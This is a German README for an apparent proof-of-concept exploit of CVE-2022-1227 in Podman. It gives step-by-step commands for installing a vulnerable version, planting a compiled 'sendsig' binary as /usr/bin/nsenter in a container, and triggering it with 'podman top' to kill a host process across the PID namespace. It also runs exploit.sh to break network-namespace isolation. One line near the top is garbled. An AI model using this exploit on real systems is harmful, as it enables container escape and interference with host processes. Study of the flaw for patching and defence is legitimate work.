
Ein Skript zur Ausnutzung von CVE-2022-1227
Ein Skript zur Ausnutzung von CVE-2022-1227.
20.10 wird empfohlen.4.0.0; 3.4.4 wird empfohlen.TODO: Prinzip dieser Schwachstelle ergänzen
Befolgen Sie die Anweisungen im offiziellen Dokument: https://podman.io/getting-started/installation#installing-on-linux
Für Ubuntu 20.10 sollte der Installationsbefehl wie folgt lauten:
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
In diesem Abschnitt versuchen wir eine einfache PoC, um die Grenze des PID-Namespace zu durchbrechen und einen Prozess auf dem Host mit kill zu beenden.
Hier sind die Schritte:
Starten Sie einen Container mit dem folgenden Befehl: podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
Führen Sie keep in ./exp/bin aus und ermitteln Sie die PID, unter der es läuft. Normalerweise zeigt es seine PID im Terminal an. Da die Binärdatei so eingestellt ist, dass sie 600 Sekunden lang schläft, sollten Sie die folgenden Schritte zügig erledigen.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
Bearbeiten Sie den Quellcode in ./exp/src/sendsig.c und tragen Sie die im vorherigen Schritt ermittelte PID in die Variable pid ein.
int pid = OLD_VAL;
zu
int pid = 7719;
Legen Sie die kompilierte Binärdatei in den Podman-Container: podman cp ./exp/bin/sendsig $container_name :/usr/bin/nsenter
In diesem Abschnitt nutzen wir Sockets, um die Interprozess-Kommunikation zwischen dem Client im Container und dem Server auf dem Host zu realisieren, was bei vollständiger Isolation normalerweise unmöglich ist. Wir nutzen diese Schwachstelle, um die Isolation des Net-Namespace zu durchbrechen und diesen Exploit zu realisieren.
Wechseln Sie zuerst mit cd ./exp in das Verzeichnis;
Durch einfaches Ausführen von ./exploit.sh wird alles automatisch erledigt; wenn alles richtig läuft, zeigt der Server Folgendes an:
Hello from the container!
Das bedeutet, dass wir den Netzwerk-Namespace überwinden und entkommen sind.
Führen Sie podman top aus, um die Schwachstelle auszulösen: podman top -l
Wenn alles richtig läuft, wird der laufende Prozess keep sofort beendet. Das ist ungewöhnlich, denn normalerweise können Prozesse innerhalb des Containers aufgrund der PID-Namespace-Isolation keine Signale an Prozesse auf dem Host senden.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed